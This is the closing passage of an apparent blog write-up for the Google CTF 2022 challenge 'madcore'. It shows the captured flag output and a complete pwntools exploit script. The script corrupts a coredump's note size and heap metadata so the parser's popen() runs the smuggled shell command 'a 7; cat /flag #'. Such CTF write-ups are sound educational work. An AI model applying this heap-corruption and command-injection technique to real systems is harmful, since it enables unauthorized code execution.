<span class="o">{</span><span class="s2">"backtrace"</span>:[[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[0,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[289,<span class="s2">""</span><span class="o">]</span>,[336,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[3386829460269511470,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[3687940315385325932,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[7596498852877118840,<span class="s2">"&lt;unknown&gt;"</span><span class="o">]</span>,[1,<span class="s2">"CTF{w4y_cpp_g0tta_be_like_that_can_we_get_a_good_STLPLS}</span><span class="se">\n</span><span class="s2">"</span><span class="o">]]</span>,<span class="s2">"modules"</span>:[]<span class="o">}</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got EOF <span class="k">while </span>reading <span class="k">in </span>interactive
<span class="nv">$ </span> 
</code></pre></div></div>

<h3 id="the-full-exploit">the full exploit</h3>

<p>Everything above, assembled. The coredump offsets are the ones my own core
happened to have — regenerate it and they move.</p>

<div class="code-file"><div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="sh">"""</span><span class="s">Google CTF 2022 — pwn/madcore.

Assembled from the python blocks of the writeup:
_posts/2022-07-15-Google-Capture-The-Flag-2022-madcore-pwn.md

madcore reads exactly 0x1000000 bytes of a coredump on stdin, parses it, and
prints a JSON backtrace symbolized through popen() — so a Binary::fileName we
control becomes a shell command. Everything below patches a REAL coredump
produced by the challenge</span><span class="sh">'</span><span class="s">s own crashing binary; it is not generated from
nothing:

    $ ulimit -c unlimited
    $ ./test                      # *** stack smashing detected ***
    $ ./exploit.py CORE=crash/core.1001.14162.1657865437 [REMOTE]

Every offset in the OFFSETS block is specific to that coredump. The writeup
found each one with a breakpoint rather than by parsing ELF, and says so:
</span><span class="sh">"</span><span class="s">probably this is not 100% working solution, but worked for me</span><span class="sh">"</span><span class="s">. Re-derive
them for a coredump of your own.
</span><span class="sh">"""</span>

<span class="kn">from</span> <span class="n">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span> <span class="o">=</span> <span class="sh">"</span><span class="s">madcore.2022.ctfcompetition.com</span><span class="sh">"</span><span class="p">,</span> <span class="mi">1337</span>
<span class="n">BINARY</span> <span class="o">=</span> <span class="sh">"</span><span class="s">./madcore</span><span class="sh">"</span>

<span class="c1"># madcore's read loop: `while (size != 0) { read(0, temp_buffer, size); ... }`
# It stops at 0 bytes remaining, so the input must be exactly this long.
</span><span class="n">size</span> <span class="o">=</span> <span class="mh">0x1000000</span>

<span class="c1"># --- offsets ---------------------------------------------------------------
# The elf64_note size that decides the filename-chunk layout. At 0xd68 lies
# the address the RSI register pointed at; the size itself is the qword at
# 0xd7c, `1f 00 00 00` in the untouched dump.
</span><span class="n">NOTE_SIZE_OFFSET</span> <span class="o">=</span> <span class="mh">0xD7C</span>
<span class="c1"># Huge, so `if (size &lt;= index)` never allocates the filename chunks and the
# Backtrace object lands directly after our buffer.
</span><span class="n">NOTE_SIZE_VALUE</span> <span class="o">=</span> <span class="mh">0x2000000000000020</span>

<span class="c1"># The program headers precede the notes. Clearing the low bit of every
# p_flags == 5 (R+X) makes Binary::IsExecutable() false everywhere, which is
# what keeps Backtrace::PushModule() from being called at all.
</span><span class="n">PHDR_REGION_END</span> <span class="o">=</span> <span class="mh">0xD68</span>

<span class="c1"># The top chunk size the huge note size corrupts. 0xc141 is what the heap
# showed after Corefile::ParseNtFile(); 0xc8d1 is the size malloc() expects,
# and without the fix the next allocation dies with "corrupted top size".
</span><span class="n">TOP_CHUNK_SIZE_OLD</span> <span class="o">=</span> <span class="mh">0xC141</span>
<span class="n">TOP_CHUNK_SIZE_NEW</span> <span class="o">=</span> <span class="mh">0xC8D1</span>

<span class="c1"># Backtrace::frameCount sits 0x18 * 0x3 == 0x48 past the top chunk size, and
# reads 0x742f6572 unpatched — large enough that the Symbolicate() loop runs
# off the end of the fake frames and crashes before printing the JSON.
</span><span class="n">FRAME_COUNT_STRIDE</span> <span class="o">=</span> <span class="mh">0x48</span>
<span class="n">FRAME_COUNT_VALUE</span> <span class="o">=</span> <span class="mh">0xD</span>

<span class="c1"># The 64 'A's the crashing test binary left in the coredump. They land at
# core offset 0x40010, which is where the first fake CallFrame's
# Binary::fileName is read from — R14 (registers[1]) already pointed at
# 0x40000 in this coredump, so nothing has to be planted to reach it.
</span><span class="n">FILENAME_MARKER</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">A</span><span class="sh">"</span> <span class="o">*</span> <span class="mi">64</span>
<span class="n">COMMAND</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">a 7; cat /flag #</span><span class="sh">"</span>


<span class="k">def</span> <span class="nf">patch_note_size</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Grow the note size so the Backtrace object is adjacent to our buffer.</span><span class="sh">"""</span>
    <span class="n">data</span><span class="p">[</span><span class="n">NOTE_SIZE_OFFSET</span><span class="p">:</span><span class="n">NOTE_SIZE_OFFSET</span> <span class="o">+</span> <span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="n">NOTE_SIZE_VALUE</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">clear_exec_flags</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">p_flags 5 -&gt; 4 for every program header: no module is executable.</span><span class="sh">"""</span>
    <span class="n">header</span> <span class="o">=</span> <span class="nf">bytes</span><span class="p">(</span><span class="n">data</span><span class="p">[:</span><span class="n">PHDR_REGION_END</span><span class="p">])</span>
    <span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">clearing </span><span class="si">{</span><span class="n">header</span><span class="p">.</span><span class="nf">count</span><span class="p">(</span><span class="nf">p32</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span><span class="si">}</span><span class="s"> executable program headers</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">data</span><span class="p">[:</span><span class="n">PHDR_REGION_END</span><span class="p">]</span> <span class="o">=</span> <span class="n">header</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="nf">p32</span><span class="p">(</span><span class="mi">5</span><span class="p">),</span> <span class="nf">p32</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>


<span class="k">def</span> <span class="nf">patch_top_chunk_size</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Restore the top chunk size the oversized note walked over.</span><span class="sh">"""</span>
    <span class="n">offset</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="nf">index</span><span class="p">(</span><span class="nf">p64</span><span class="p">(</span><span class="n">TOP_CHUNK_SIZE_OLD</span><span class="p">),</span> <span class="n">NOTE_SIZE_OFFSET</span><span class="p">)</span>
    <span class="n">data</span><span class="p">[</span><span class="n">offset</span><span class="p">:</span><span class="n">offset</span> <span class="o">+</span> <span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="nf">p64</span><span class="p">(</span><span class="n">TOP_CHUNK_SIZE_NEW</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">offset</span>


<span class="k">def</span> <span class="nf">patch_frame_count</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">top_chunk_offset</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Stop Symbolicate() right after our fake CallFrame.</span><span class="sh">"""</span>
    <span class="n">offset</span> <span class="o">=</span> <span class="n">top_chunk_offset</span> <span class="o">+</span> <span class="n">FRAME_COUNT_STRIDE</span>
    <span class="n">data</span><span class="p">[</span><span class="n">offset</span><span class="p">:</span><span class="n">offset</span> <span class="o">+</span> <span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nf">p32</span><span class="p">(</span><span class="n">FRAME_COUNT_VALUE</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">plant_command</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Turn Binary::fileName into the argument of madcore</span><span class="sh">'</span><span class="s">s popen().</span><span class="sh">"""</span>
    <span class="n">payload</span> <span class="o">=</span> <span class="n">COMMAND</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">FILENAME_MARKER</span><span class="p">),</span> <span class="sa">b</span><span class="sh">"</span><span class="s">a</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">data</span><span class="p">[:]</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="n">FILENAME_MARKER</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">build</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="sh">"</span><span class="s">rb</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">coredump</span><span class="p">:</span>
        <span class="n">data</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">(</span><span class="n">coredump</span><span class="p">.</span><span class="nf">read</span><span class="p">())</span>

    <span class="nf">patch_note_size</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="nf">clear_exec_flags</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="nf">patch_frame_count</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="nf">patch_top_chunk_size</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
    <span class="nf">plant_command</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">data</span>


<span class="k">def</span> <span class="nf">connect</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">REMOTE</span><span class="p">:</span>
        <span class="k">return</span> <span class="nf">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
    <span class="k">return</span> <span class="nf">process</span><span class="p">(</span><span class="n">BINARY</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">data</span> <span class="o">=</span> <span class="nf">build</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">CORE</span><span class="p">)</span>

    <span class="n">io</span> <span class="o">=</span> <span class="nf">connect</span><span class="p">()</span>
    <span class="n">data_len</span> <span class="o">=</span> <span class="nf">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="k">assert</span> <span class="n">data_len</span> <span class="o">&lt;</span> <span class="n">size</span>
    <span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">len: </span><span class="si">{</span><span class="n">data_len</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="se">\x00</span><span class="sh">"</span> <span class="o">*</span> <span class="p">(</span><span class="n">size</span> <span class="o">-</span> <span class="n">data_len</span><span class="p">))</span>
    <span class="n">io</span><span class="p">.</span><span class="nf">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">FINISHED READING.</span><span class="se">\n</span><span class="sh">"</span><span class="p">,</span> <span class="n">drop</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="nf">interactive</span><span class="p">()</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">main</span><span class="p">()</span>
</code></pre></div></div><p class="code-file__meta"><a class="code-file__dl" href="/exploits/madcore/exploit.py" download="exploit.py">download exploits/madcore/exploit.py</a> <span class="code-file__size">4.5 KB · 128 lines</span></p></div>]]></content><author><name>embe221ed</name></author><category term="writeup" /><category term="pwn" /><category term="binexp" /><category term="googlectf" /><summary type="html"><![CDATA[introduction madcore was a pwn task from Google CTF 2022. It is a coredump helper that parses the input as coredump file and produces some results.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.embe221ed.dev/assets/og/Google-Capture-The-Flag-2022-madcore-pwn.png" /><media:content medium="image" url="https://blog.embe221ed.dev/assets/og/Google-Capture-The-Flag-2022-madcore-pwn.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>